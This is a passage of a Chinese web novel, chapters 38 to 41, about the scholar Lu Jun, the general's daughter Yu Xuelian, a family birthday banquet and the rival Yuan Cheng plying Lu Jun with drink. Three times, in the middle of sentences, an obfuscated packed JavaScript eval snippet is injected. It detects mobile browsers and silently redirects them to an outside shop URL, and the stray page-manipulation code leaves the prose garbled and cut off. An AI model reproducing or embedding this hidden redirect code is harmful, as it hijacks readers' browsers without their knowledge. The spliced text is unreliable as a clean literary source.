“隽哥，我从酒楼算完账回来，爹娘就跟我说，你白天去山上教训郑大娘他们了。”吴阿牛恨自个儿没看见这场面，道，“要是下回有这事，我不能错过了。” 陆隽倒了一碗茶给吴阿牛，说：“只是和他们说了几句话，谈何教训。” 吴阿牛憨笑道：“咱村里的人传话是越传越夸张，但是隽哥说几句话就收拾了他们，跟教训差不多嘛，那郑大娘都去给盼夏赔礼道歉了。” 他喝光碗里的水，清清嗓子，小心翼翼地问：“隽哥，那虞姑娘和你，是不是要成亲了？” 陆隽的面容晦暗不明，成亲这两个字，向来发生在别人身上。 “隽哥？”吴阿牛很少见陆隽出神，伸手在陆隽眼前晃了晃，问道，“虽然村里的人爱胡说八道，我看隽哥和虞姑娘也是有夫妻相的。虞姑娘对隽哥嘘寒问暖，隽哥若是不去求亲，那也太辜负虞姑娘了。” 陆隽回过神，问：“我和她，有夫妻相吗？” 吴阿牛滔滔不绝道：“明儿我就去镇上给你买一面镜子，虞姑娘和隽哥的长相，谁看了不说是一对般配的新婚夫妻！” 陆隽的防线在白天已变得不牢固，他想要克制弥补，然吴阿牛的话过于直白，截断他仅剩的这一条防线。 他有的贪念妄念，其根源是虞穗。 陆隽不是没有挣扎过。他初进学堂，老师反复谆谆教导过，寒门子弟，勿要有奢求，勿要有贪念，一念之差，便要掉入深渊，永无宁日。 这么些年，他谨记老师教导，循规蹈矩地做事。不属于他的，他也从未起过欲望去争夺。 可他挣扎的结果是忘掉自卑，一次又一次的沉沦。挣扎和四书五经并不能压制他的欲望。 陆隽确定，老师的话根本是毫无道理，荒谬绝伦。 吴煦暗示过他，金陵城的贵女不乏有喜欢玩弄感情的，纵使虞穗隐瞒身份，纵使她想骗他什么，统统不重要，他只知他想要和她成亲就足矣了。 想要和虞穗成亲，那么贪点又何妨。 38. 折辱 从灵谷寺回了金陵，虞雪怜着手和虞嘉卉给老太太筹备寿宴。 这日用过早膳，她们去老太太的院里请安。 老太太惦记着跟承宣伯府结亲家，她一见虞嘉卉，笑道：“卉娘，承宣伯府的伯爵夫人昨儿个差府邸的管家送礼。孙嬷嬷，你把它们拿过来给卉娘。” 虞嘉卉没有一点喜色，她偏过脸，看了看虞雪怜。 嫡姐这几日帮了她不少，想方设法地给她推掉了和周二公子的见面。 可祖母的架势是铁了心地要让她嫁给周二公子，这几天她试过向祖母说明，嫡姐尚未定亲，若她在嫡姐之前出嫁，便乱了长幼之序，让旁人瞧笑话。 夫人也劝祖母三思而行，不该这么早就和承宣伯府议亲，起码要先见一面再谈。 祖母说她有她的道理，叫夫人别干涉。 让虞嘉卉无奈的是，柳姨娘对承宣伯府甚是满意。八字还没一撇，就派丫鬟去外采买布料首饰，仿佛过两天便要把女儿嫁出去了。 孙嬷嬷带着丫鬟奉上一盒八珍膏，一对玉镯子，几套珠宝金簪。 “卉娘，你看，这伯爵夫人的眼光多好。给你挑的簪子，更衬你皮肤好。” 老太太起身，随手拿起托盘上的一支嵌绿松石花形金簪，插在虞嘉卉的发髻，和颜说道：“我和伯爵夫人聊过了，你若嫁给周二公子，就有享不完的清福，必不会受憋屈，周二公子虽是庶子，别的再也挑不出缺陷来了。” 虞嘉卉想把金簪摘下，嗫嚅道：“祖母，庚帖还没交换，我不能收伯爵夫人的礼。” “欸，这有什么，你就戴着这簪子罢。”老太太握住虞嘉卉的手，语重心长地说：“卉娘，你最该是明白事理的。说句不好听的，你是庶女，他是庶子，你二人哪一点不合适？” “祖母偏心，只顾管卉娘，却不理会我了。”虞雪怜故作委屈之态，走到老太太身边，搀着她的胳膊，问道：“我的婚事还没着落呢，若祖母让卉娘先嫁，那我日后要怎么办？” 柳姨娘蹙眉说道：“怜娘，你这就不对了。以前那一桩桩好婚事放在你眼前，你不珍惜。如今老太太疼爱我们卉娘，给她遇着周二公子，你怎能闹着说老太太偏心。” 这会儿虞鸿退朝回来，他身着官袍，急匆匆地往老太太的院里赶。 “那怜娘一日不嫁，卉娘一直耽搁着，误了姻缘，这可不行。”柳姨娘嗓音发尖，冷笑道：“夫人，求您不为妾身着想，也为嘉卉想想。” 陈瑾睨着眼，说：“这桩婚事是老太太做主，我有说过不让卉娘出嫁吗？” “老太太，夫人既然这么说，您莫要犹豫了。”柳姨娘担忧老太太改主意，温声细语地说，“不如明日把嘉卉的庚帖送到承宣伯府，争取年底就把婚事谈妥。” 话音落地，虞鸿进了正厅，脸色凝重。 老太太本是要点头应柳姨娘的话，但见虞鸿的脸色难看，以为他身体不适，关切地说：“鸿儿，你刚下早朝，就不用来母亲这里问安了。” “母亲，今日宫里出事了。”虞鸿在府邸从不提朝廷的事，每日下朝回来练练功，陪夫人到母亲这儿吃茶。 他也不想在孩子们的面前说这些，但若今儿个不告诉母亲，恐怕要引来麻烦，“圣上今日下令派锦衣卫查封承宣伯府，具体犯了何罪，尚未查清，请母亲切莫再跟伯爵夫人来往。” “好端端的，怎么说被查封就被查封了？”老太太吃惊地抚了抚胸口，说道，“昨日他们伯爵府的管家来给卉娘送礼，孙嬷嬷还跟我说笑，那管家有一张巧嘴——” 她开始后怕，转而问：“鸿儿，你说他们会不会把咱们镇国将军府牵扯进去？” 幸亏是她年迈，没有过多跟伯爵夫人接触，否则真是惹祸上身。 柳姨娘花容失色，她抠着手指甲，想承宣伯府在金陵的权势也不算小，一夕被锦衣卫查封，犯的肯定是滔天大罪。 虞鸿宽慰着老太太：“母亲放心，圣上查封承宣伯府，不是临时做的决定，无须忧虑会被牵扯进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222153|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老爷，承宣伯府的大公子不是娶了长宁郡主吗？圣上怎舍得查封他们。”柳姨娘想不通，她女儿终于遇着一桩好婚事，却出了这种状况。 虞鸿不胜其烦，说：“若圣上不舍得，那便不会查封他们了。” “是妾身愚笨。”柳姨娘说完就捂了捂额头，“老爷，夫人，妾身的头疾可能是犯了，想先行告退，回房歇息。” 虞鸿道：“让大夫给你把把脉，好生歇着吧。” 承宣伯府一事，使得老太太心神不定，对虞鸿问东问西的。待用了午膳，丫鬟给老太太喂了一碗安眠的汤药，这才哄住老太太回房睡下。 …… 秋夜越发凉了，黄狸猫趴在厢房的床榻边，舒服地躺着打滚。 书案上放了一锭白银，在灯盏下闪着亮光。 虞雪怜端倪许久，这白银是那次从慈溪镇酒楼带回来的，浮白一直没查出是谁收买掌柜的去殴打陆隽。 现在浮白告诉她查到了。 少年穿墨黑圆领袍，腰间佩长剑，他轻言道：“属下查过了，这锭银子是临川侯府的。” 这锭银子看着平平无奇，不知浮白是怎么查出来跟临川候府有关的。 虞雪怜问道：“何以见得？” 浮白迟钝地抬首，表情像是犯了错的心虚，“属下昨天见袁丞在茶楼，尾随他到了巷口，把他揍了一顿。” “你当街揍了他一顿？”虞雪怜不可思议地问，“谁指使你的？” 浮白乖巧听话，不会擅作主张，狂妄地在街上殴打袁丞。 浮白如实说道：“是徐南川，徐将军。” “属下没有下狠手，给袁丞的胳膊扭伤了而已。”浮白接着一板一眼地汇报他昨日的战果，“属下穿了夜行衣，无人知道是属下揍得袁丞。” 虞雪怜一时失语，袁丞暗地跟踪她就罢了，还折辱陆隽，卑劣到如此地步，挨揍也是活该。 她问：“有证据能道明这锭银子是临川侯府的吗？” 39. 寿宴 想拿人把柄，总归手里要握住证据，虞雪怜深谙于心。何况在金陵，官大一级压死人，若平民百姓受了权势的欺压，都无处可讨回公道。 临川侯府背靠燕王府，明面又乐善好施，救苦救难，谁会相信袁丞用钱财去欺负人呢。 浮白解下绑在腰带上的荷囊，取出白银，递给虞雪怜，“袁丞的护卫以为属下贪财打劫，给了我三两白银。” “属下拿了白银和酒楼掌柜的做比对，发现这并非普通的白银。它底下印了铭文，属于官银。” 虞雪怜平静地说：“前些时日他派暗卫跟踪我，又去调查陆隽，证据虽不够确凿，但肯定是他了。” 大抵是并不把这当回事，袁丞才拿官银去收买酒楼掌柜。 浮白闻言沉默须臾，作揖道：“属下办事不力，请娘子责罚。” 他跟兄长学了搜查犯人要怎么找证据，可虞娘子交给他的事，他没有办过一件完整的。 浮白气馁地想，他如果和兄长一样机灵，老爷当初不会把他留在府邸做侍卫，现在他有机会施展，却依旧不成气。 “不，这与你无关。”虞雪怜说，“你做得已经很周到了。” 在床榻边打滚的黄狸猫打断虞雪怜的话，它短腿一跃，扑腾到书案上，张牙舞爪的，尾巴险些打翻笔架。 虞雪怜知晓浮白身怀抱负，说道：“好了，你今夜早些歇息。明日破晓去书房见爹爹，他给你找了一件差事做。” “去见老爷？”少年错愕地问，他澄澈的眼睛发亮，气馁和消极顿时全无，“老爷……给我找了什么差事做？” 虞雪怜揉了揉狸猫的肚皮，笑道：“你明天见了我爹爹，就知道了。” 浮白被虞鸿安排进了兵部。 虞牧临去军营收到浮白兄长的书信，信中说，想让老爷给在外给浮白找件差事做，磨炼一番。 虞鸿念及浮白年纪小，加之最近朝廷官员变动大，三书六部隔两天便有人被换下来，亦有些小官小职空缺着。 而浮白自幼习武，有真本事在，符合入兵部的标准。 浮白去了兵部，对虞雪怜也是件好事，他若在兵部深耕，触及的事情就会越多。 * 老太太的寿宴办在十月初五。 府邸的前院搭了戏台，请来的是金陵城最好的戏班子。 今日来给老太太拜寿的，也都是和镇国将军府交情长达数年，金吾将军、昭毅将军、尚书大人——这是虞鸿送去的请帖。 虞鸿没想把寿宴整得隆重，只要喜庆些就行了，所以请的是合得来的老友知己。 但来拜寿送礼的人简直出乎他意料，又有燕王世子，有兵部尚书的两个儿子，还有一对他不知道是谁家的姊妹。 镇国将军府，何时人缘有这样好了？ 考虑到小辈不爱听戏，虞鸿吩咐丫鬟招待燕王世子他们去正厅吃茶。 院内摆了桌椅，老太太正坐着听戏，见这群小辈来了，笑道：“好孩子，快坐，快坐。” 府邸的小厮纷纷把寿礼呈到老太太跟前，老太太合不拢嘴地过目一遍，叫他们把寿礼拿她房里去。 虞雪怜倒很惊讶，她记得只按着爹爹的意思去写请帖，这燕王世子是从何得知今日祖母过寿的。 以及温昭姐妹——温嫱一脸傲慢的，但温昭怯生生地过来给虞雪怜打招呼，“虞娘子，我听高乘远说，你祖母今日过寿，他要来给老太太送礼。我左思右想，上次在画舫，若不是有你，我和姐姐就……就糟了。” 言毕，温昭拽了一下温嫱，道：“姐姐。” 她之前便想让姐姐陪着到镇国将军府道谢，可是姐姐推三阻四，不准她来。 高乘远和温昭青梅竹马，无话不说。昨天高乘远提了一嘴，温昭也不问姐姐，决定跟高乘远一道来给老太太拜寿。 “哼。”温嫱眼皮上翻，不情不愿地说：“今日我们来，就当是还你人情了，你可不要误会我们想巴结你。” 虞雪怜笑而不语，若有所悟地点点头。 温嫱看虞雪怜不出声，表现也没有传闻中的骄横，反对她笑。 温昭尴尬地朝着虞雪怜笑了笑，道：“我姐姐嘴硬心软，虞娘子莫要介意。” 这当儿，高乘远给老太太道了寿词，引老太太发笑。他嘴巴甜，讨长辈喜欢，一边回老太太的话，一边跟别的老将军聊家常。 终于等戏班子开唱，他方落座到虞雪怜身侧。 彼时，金陵城门前，一辆陈旧的马车缓缓驶进城内，拐进一条幽深的小巷。 男子掀开帘子，扶着老者下车。 “陆隽，你去敲门。”陈昌石精神抖擞地扬起下巴，望着这片他看了半辈子的天，说道：“金陵的天，是比慈溪镇漂亮呢。” 陆隽伸手叩响刷着红漆的木门，他随老师来拜访一位故友。 开门的是个扎小辫的孩童，他糯声糯气地问：“大哥哥，你找谁呀？” 陆隽道：“张泰禾，张先生在家吗？” 孩童扭头喊道：“爷爷，有大哥哥找你。”这孩童不到十岁，举止像个小大人，他仰脸跟陆隽说：“大哥哥，还好你来得早，不然爷爷要出去吃酒席，你就见不到我爷爷了。” “来得早不如来得巧。”陈昌石笑哈哈地问孩童，“小子，你可还认识我吗？” 孩童稀奇地盯着满头白发的陈昌石，说：“不认识。” 有妇人从屋里出来，请陈昌石和陆隽进屋坐。 张泰禾原在朝廷担任户部侍郎，与陈昌石是同僚。如今辞官在家养老，乐得自在。 故友相见，一阵寒暄过后。张泰禾捋了捋胡子，笑问道：“这是你学生？” “跟了我十几年的学生。”陈昌石引荐道，“陆隽秋闱中了解元，明年要赴金陵参加春闱。” “我此番来是带他看看金陵城，帮他选座宅子，他往后要落户在这里。” 张泰禾在官场也见了不计其数的少年英才，诸如状元郎、探花郎。他看陆隽年纪不轻了，仅是中了解元，是以从外貌和谈吐，瞧不出有什么过人之处。 但好歹是故友的学生嘛，总得夸几句的。 “现在的解元，难考，从千百个考生中杀出来，厉害啊。”张泰禾对陆隽说，“踏踏实实地做事，迟早能出人头地。” 陆隽应道：“学生谨记先生教诲。” 在屋外玩水的孩童问道：“爷爷，你不去吃酒席了吗？” “我这记性，差点又忘了。”张泰禾叫儿媳给他准备好的寿礼拿来，旋即问陈昌石，“镇国将军虞鸿，你记得吗？” 陈昌石说：“当然记得，镇国将军曾和先帝出征打仗，那时我在户部当差。怎么，你这是要去镇国将军府吃酒席？” 张泰禾感慨道：“今儿虞将军要在府邸给她母亲办寿宴，你也知我辞官近十年，先帝在世之时，我帮虞将军写过一封文书，其实不过是件小事，但虞将军久久记挂着这份恩情，逢年过节就派小厮来给我送礼。” 他向陈昌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254800|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石说着虞鸿给他送的请帖，“老兄，虞将军为人和气，我今日若不赴宴，心里过意不去。你不如跟我一起，沾沾寿星的福气。” 陈昌石推脱道：“这不妥，你且去吧，我和陆隽也该回慈溪镇了。” 人家老太太的寿宴，他空着手过去不像话，再者说，他和虞鸿八百年没见过了，哪能跟着张泰禾去蹭酒席吃。 “瞧你，有甚扭捏的。”张泰禾把请帖给陆隽，说，“你读一读，让你先生听听，虞将军说我不妨带着家眷去，老太太就爱热闹。” 陆隽接过请帖，有一瞬间的失神——这上面的字迹，和他的很像。 是虞穗写的。 镇国将军府，便是虞穗的家。 他嗓音清润，念了请帖的内容。如张泰禾所说，虞将军希望张泰禾能带家眷来赴宴，说府邸有看管孩子的嬷嬷，前院也搭了戏台，酒席在午时开始。 “如何？你带着陆隽，我带着外边那个淘气鬼，咱们一块去。”张泰禾催促陈昌石起身，“就这么说定了，别磨蹭，到了那儿，能提早给你学生打通一条路呀。” …… 去镇国将军府的路平坦易行，没有一条坑洼或泥泞的路。 府门大敞，门前的两头石狮子神态庄重，口中含着圆球，威严显赫。 这会儿迎客的是丁管家，他其后是十个身穿斜领袍的小厮，整齐地露着笑脸。 丁管家见两位老者和一个穿着朴素的男子上了台阶，忙不迭地过去：“几位总算是来了。” 他亲自引路，领陆隽他们到正厅。 一路上，陆隽没有左顾右盼。府邸宽阔，一眼望不到尽头，衬得人分外渺小。 “老先生，公子，你们进去随意挑个位置坐下。”丁管家笑道，“到布膳的时辰了。” 厅内是轻声细语的交谈声，一共有八桌酒席。 剩的位置不多，有几个老官认出张泰禾，招手让他们去坐。 这里并无虞穗的身影。 陆隽收回视线，给老师的杯盏添酒。 忽然，有男子在他背后唤他，“是陆隽陆公子吗？” 陆隽回头看，袁丞头戴银冠，唇角噙着似是而非地笑。 即便他在笑，陆隽却见他眼底的轻蔑和不屑。 陆隽低低地说道：“小侯爷。” “方才我觉得是自己眼花了，不承想在虞叔父的府邸碰见陆公子。”袁丞刻意着重地强调他和镇国将军府的关系亲密，他问：“是穗穗给陆公子送的请帖吗？” 他说到‘穗穗’二字，用着含情脉脉的语气。尽管他自己没收到请帖，可他不会放过一次折损陆隽尊严的机会。 “不是。”陆隽说，“我随老师来的。” “陆公子到我这儿坐吧。”袁丞指了一下他所坐的酒席，道：“听闻陆公子高中解元，明年若进了殿试，兴许那些前辈能帮扶陆公子。” 说罢，他傲然睥睨着陆隽，暗道南郢的书生是酒囊饭袋，让一个穷山恶水里出来的野夫夺得解元，这种人都能进朝为官。 袁丞不相信陆隽在利益面前还是一脸死人相。 陆隽回绝道：“多谢小侯爷关照，陆某要在此陪着老师，不便跟小侯爷去。” 陆隽从未讨厌过什么人，想起虞穗和此人有过谈婚论嫁，心头犹如落了一块名为嫉妒的巨石。 他不该有这念头，好比泛不起涟漪的河流，不该有湍急。陆隽厌恶袁丞，厌恶到了极点，一切与君子不搭边的词，接踵而来。 40. 酒令 陆隽的回绝，反让袁丞愈加热情，他道：“陆公子若不吃酒，不如跟我去给老太太拜寿。” 老太太他们并不在正厅用膳，在前院听完戏，便去兰园了。 是以正厅坐的是官员将士，袁丞来得迟了，且他又是不请自来，给老太太备了厚礼，丁管家只好把他带到这儿。 陆隽犹豫了，他不像方才很快就回绝袁丞。 他和老师是空手来的，即便他没有给人拜过寿，也知要有体面。 陆隽抬头，深不见底的眼眸看向袁丞，不卑不亢地说：“有劳小侯爷带路。” 末了，他起身向陈昌石说，要和小侯爷去拜寿。 “哦，小侯爷吗……”陈昌石几杯菊花清酿下肚，不亦乐乎，鬓边白发好似都飘了起来，“去吧，去吧，代我跟老太太问好。” 两人离开正厅，袁丞走在陆隽前面，道：“陆公子文采斐然，原来师承陈先生。” 他问着陆隽平日读什么书，写文章用什么技巧。 “忘了问，陆公子家在何处？” 他私下把陆隽调查得一清二楚，但明面两人没聊过这些。袁丞心思缜密，不想露出马脚，又十分享受能让陆隽剥开自个儿轻贱的家世。 陆隽对袁丞此人一无所知，此人的问题有许多，只差没问他祖籍在何处——虞穗之前喜欢这样的人么？ 话多，聒噪，油嘴滑舌，空有一身金贵的皮囊。 “陆某家在慈溪镇，花坞村。”陆隽说。 离兰园还有一段路。袁丞停下脚步，回首瞧了瞧陆隽，这野夫今日倒穿了件新衣袍，可也是老土的布纽扣对襟短衫，腰间别无点缀。 “陆公子吃了不少苦吧。”袁丞唉了一声，道，“我父亲每年拨银两给乡镇的书院学堂，购置读书用的东西。他说寒门出才子，若因钱财不能够读书，实乃憾事。我想陆公子以现在的年纪，拿下解元，个中定有数不清的辛酸。” 陆隽颔首问：“小侯爷何以知道陆某的年纪？” 袁丞不设防陆隽这么问他，笑道：“穗穗和我说的。” 走入圆形拱门，穿过抄手游廊，再是一道菱形拱门，便是兰园了。 年轻小辈陪着老太太在兰园用膳，寿星在此，屋外都是快活的气息。 两个小丫鬟见袁丞来了，脸色微变，恭恭敬敬地过去福身，“奴婢参见小侯爷。” 袁丞说：“我来给老太太拜寿。” 小丫鬟进屋禀报，遂请袁丞到房内。她们只好奇地看了一眼陆隽，纳罕这男子是哪位公子哥儿，打扮得未免太低调了些。 房内摆了两桌酒席，一桌给老太太和夫人姨娘坐，一桌是给小辈坐。 今儿老太太高兴，给他们小辈赏了两坛子桂花酒。 高乘远嘴巴甜，人坦率，他年纪也不算大，老太太便让他和高乘风跟虞雪怜她们坐在一块。 “表姐，终于轮到你抽着这张牌了。”虞浅浅笑意盈盈地举起酒盏，递给虞雪怜，“这杯酒，你躲不掉了。” 虞浅浅嫌纯粹吃酒无趣，就吩咐小丫鬟去库房拿酒令牌玩。 虞雪怜掩面，轻抿一口酒盏。上一世在教坊司被教习嬷嬷灌了各式各样的甜酒烈酒。她酒量不差，但被那样子灌出来的酒量，给她留的阴影不是一点半点。 酒味入鼻，闻之欲呕，她屏住呼吸，把酒饮尽了。 良儿来传话，俯身凑近虞雪怜耳边，悄悄道：“娘子，老太太叫你过去。” “祖母叫我？” 虞雪怜满腹疑惑，往老太太的桌上看，嘴巴里的桂花香蔓延至喉咙。她蹭地从椅子上起来，陆隽……是陆隽？ 这一屋的人，皆穿华服锦袍。唯独他的衣着和身量却是最好辨认的。暗淡的衣衫，优越的肩颈，以及，他看她的目光。 陆隽静静地凝视着她，从他进来，他一眼便看见了虞穗。 她穿着不同于往日的衣裳，发髻坠着雅致的首饰，双眼含笑，和周围的姊妹兄弟打牌吃酒。找不出在他身边时的乖巧。 陆隽想，她本该是这样的，如一朵随心绽开的花，她想怎么开，就怎么开。 乖巧也好，顽皮叛逆也好。 虞雪怜缓步走到老太太面前，平稳了一番心绪，笑问道：“祖母叫我，是有何事？” “来，怜娘。”老太太伸了伸手，叫虞雪怜坐她身旁的圆椅，她向袁丞使了个眼色，道，“难为小侯爷给我拜寿，借今儿这好日子，你们两个孩子握手言和，以后不要见了就像个仇人似的。” 袁丞想应老太太的话，恰好有陆隽看着，他好让这野夫明白，何为门当户对。 他急切地要去握虞雪怜的手，然陆隽低声说：“小侯爷，男女授受不亲，你这是要做什么？” “陆公子误会了。”袁丞近乎是咬牙切齿，“我和穗穗之间有点矛盾，眼下老太太在帮我，哄穗穗原谅我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273875|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆隽一副不知情的模样，说：“大庭广众，依陆某拙见，以为小侯爷还是内敛些较好。” 袁丞假笑道：“多谢陆公子提醒。” 他们二人窃窃私语，老太太注意到陆隽，一时奇怪这布衣男子是谁，但要保持高门祖母的风范，便没有开口去问。 老太太觉得和临川侯府这桩婚事有挽救的余地，万不能错过了，她继续道：“怜娘，自今日起，你和小侯爷就是重归于好了。” “祖母今日过寿，若还要操心孙女的事，孙女羞愧难当。”虞雪怜提起茶壶，给老太太倒了一杯茶，“祖母来了金陵，每天都为府邸的琐事劳碌伤神，孙女想让祖母在今日放松放松，高兴地做一天寿星。” “你说呢，小侯爷？” “穗穗说得是。”袁丞看出虞雪怜是在扯开话锋，不直面回答老太太，可他若不顺着虞雪怜的话说，就显得喧宾夺主了。 “有老太太今日这句话在，我和穗穗的矛盾也算解开了。” 老太太见两人一唱一和，真有几分像是和好了的意思，笑道：“既如此，我呀，接着做寿星，不当和事佬了。” 这会儿侍女陆续端着膳食进来，虞雪怜回了座上，而陆隽也被安排到她们这一席。 她想和陆隽说话，但在旁人眼里，她和陆隽此刻是陌生人，说什么都突兀。 陆隽仍要比她淡然。因他在金陵是生面孔，高乘远又不喜袁丞的为人，便主动跟陆隽搭话。 虞浅浅催促要玩酒令牌，高乘远问：“那这位陆兄会玩吗？” “他不会的话，你教他嘛。”虞浅浅干脆地给高乘远下达了差事，她略过袁丞，道，“高乘远，你教教这个姓陆的公子就是了。” 虞雪怜扯住虞浅浅的衣袖，道：“现在要用膳，别玩牌了。” “表姐，难得今天有这么多人可以玩，你别拦我。”虞浅浅撒娇道，“下回要等过年才能玩呢，你行行好，让我再玩几回嘛。” 虞雪怜抿唇，她忧虑陆隽不会玩酒令牌，输了要喝酒。 她在教坊司听说，陆隽不善饮酒，参加宴会只饮一杯，其他则用茶水代替。 今日陆隽来镇国将军府，便让她惊诧不已了。她转念一想，上辈子祖母没来金陵城，府邸也没办宴会——变故随时会发生。 虞浅浅玩心重，若没人叫停，恐怕要玩个没完没了。 若陆隽喝醉……虞雪怜不敢去想这种可能。 41. 药膏 酒令牌不难懂，高乘远细致地给陆隽讲了一遍。 “陆兄，你待会儿若是有不明白的，问我就是。”高乘远倒是对素未谋面的陆隽很热情，不过刚交谈两句，就跟熟人似的。 两个回合下来，虞雪怜总算放心了。她本担忧陆隽不熟悉玩法，可有高乘远在，陆隽的悟性好，不会轻易输。 “表姐，你怎么又走神？”虞浅浅食指戳了一下虞雪怜的胳膊肘，说，“再走神，你又要输啦！” 虞雪怜这会儿不在乎输赢，她笑应道：“我这是在想计策呢。” 虞浅浅问：“这要什么计策？” 除了虞雪怜刻意不去看陆隽，桌上其他人的目光则一道接一道地落在陆隽身上，概因他穿得太不起眼，抑或是他旁边坐的是袁丞，是以更勾人好奇。 不多时，小厨房的烧火丫鬟来叫虞雪怜，说布膳的菜单出岔，庖厨和嬷嬷起了争执，小厨房乱糟糟的。 老爷在正厅招待客人，今儿还是老太太过寿，丫鬟没胆子去惊扰老太太和夫人。 “奴婢知道寿宴是两个娘子筹备的，想着请娘子们去劝劝架。让嬷嬷别跟庖厨一般计较了，若是闹大，冲撞了老太太的喜气，奴婢也不好受。” 虞雪怜闻言便起身跟烧火丫鬟去小厨房，顾不得跟虞浅浅交代。 等到了小厨房，嬷嬷和庖厨果然吵得不可开交。灶火烧得正旺，那庖厨手拎锅铲，吼骂着嬷嬷。 菜肴做不出来，传膳的侍女焦急地在外候着，怎想到今日嬷嬷会跟好脾气的庖厨吵起来，若是平常也就算了，在老太太的寿宴闹这么一出，真让人惊惶。 好在嬷嬷听得进去虞雪怜的话，但这庖厨带着怨气，耽误了传膳，虞雪怜只好在小厨房督促。 不知过去几盏茶的工夫，虞雪怜处理完杂事。侍女有条不紊地接着往正厅和老太太房里传膳，她吩咐丁管家盯仔细小厨房，莫要再出岔子。 她回了兰园，桌上却不见陆隽和袁丞的身影。 而老太太她们那桌没瞧出有何异常。 虞浅浅吞吞吐吐地说：“表姐，那个……那个姓陆的公子吃了一两杯酒，脖子上就起了红疹子。卉姐姐本来是要去请大夫来给他看看的，陆公子说不用。” 虞雪怜蹙眉问：“那他人呢？” “小侯爷说陆公子怕是受外邪侵袭，吃了酒才起的红疹，卉姐姐就让丫鬟带陆公子去客房歇着，又请大夫来咱们府邸给他把脉。” 虞浅浅一点都不含糊，她瞧表姐的脸色不好，自是不说别的闲话，“估计现在大夫已经来了，至于小侯爷，他跟卉姐姐说，陆公子这外邪不方便让丫鬟照看，所以他就在客房照顾陆公子。” “陆公子当真只是吃了一两杯酒？”虞雪怜看着食桌上的酒令牌，虽迫切地想要知晓方才究竟发生了什么，但眼下这么多双眼睛在这儿，她得冷静才是。 虞浅浅张了张唇，手缩进衣袖，道：“差不多。” “虞娘子。”温昭从座上起来，小声说道：“适才我们玩酒令牌，小侯爷有意无意地给陆公子递酒，不止两杯。” 她和姐姐恰好坐在这位陆公子的对面，一抬头便见得到袁丞给陆公子倒酒，他看陆公子的眼神也带有敌对。 * 兰园住的都是女眷，虞嘉卉让丫鬟把陆隽安排到前院的客房。 客房的陈设简单，一张八仙桌和四个圆凳，墙上挂有一幅《竹林七贤图》。 “公子这几日是劳累着了。”大夫给陆隽把了脉，说道，“入了后秋，天气越凉，公子这几日感染风寒，表面没有症状，可寒邪侵袭体内，今儿吃了酒，这毛病就出来了。” 陆隽脖颈处起的红疹像是被虫子叮咬过，发痒发疼，他低下眼帘，缄默不语。 他对自己的体质有数，往日冬天在慈溪镇做重活，受了风寒也不见得起这样的红疹。 袁丞站在大夫身边，说道：“是了，陆公子这几日长途跋涉，和他老师走亲访友。金陵夜里阴寒，我这些天都有些咳嗽，何况是陆公子。” 大夫端详着陆隽，道：“公子把衣襟往下拉一拉，容老夫看清楚这红疹。” 陆隽垂首，拉下衣襟，忍耐着这一片红疹的痛痒。 “这红疹，瞧着不是风寒引起的。”大夫睁大眼睛，问，“公子觉得是疼还是痒？” 他行医多年，疑难杂症治了不少。这红疹并不稀奇，稀奇的是它因何而起，公子显然不是花粉过敏。再说其颜色是暗红，形状肿胀，跟风寒是毫无干系的。 陆隽答道：“疼痒参半。” “参半？”大夫看陆隽的表情有些不可思议，他沉吟良久，提笔写了一张药方子，从医箱取出瓷瓶，道，“公子切莫去用手挠，涂了这药膏，若是仍疼痒难耐，老夫便要重新给公子写个方子治了。” 陆隽点头说道：“麻烦大夫了。” 大夫写好药方，袁丞欲要接下，但听陆隽嗓音沙哑：“大夫把药方给陆某吧。” “小侯爷，这……？”大夫犹疑地拿着药方子，不知要给谁了。 “大夫，陆某饮了酒，即便在府邸熬药，也暂且不能喝。”陆隽的手放在桌上，头脑晕眩致使他反应迟缓，他侧目看向袁丞，道，“小侯爷不必为陆某费心。” “那公子要牢记，这些药在城南的安济坊方能买到，最晚要在子时之前服药。”大夫跟陆隽叮嘱要注意的地方，收了医箱，就出了房门。 虞嘉卉在房外等着，见大夫出来，一面问他陆隽的情况如何，一面思忖着这陆公子是跟袁丞有过节，还是跟嫡姐有牵扯。 房内，袁丞对陆隽关怀备至，他斟了一杯茶，问道：“离寿宴结束大抵要一个时辰，陆公子何不躺在榻上歇息片刻？” 陆隽只觉视线若明若暗，袁丞的声音格外聒噪。 他并未接下袁丞递来的茶盏，敛眸说道：“小侯爷无须在这里陪陆某。” 袁丞轻笑出声，似乎是不打算在陆隽面前装和善了。 “小镇来的书生，若皆是如陆公子一样清高，难以在朝廷立足。” 陆隽不意外袁丞突然换了面孔 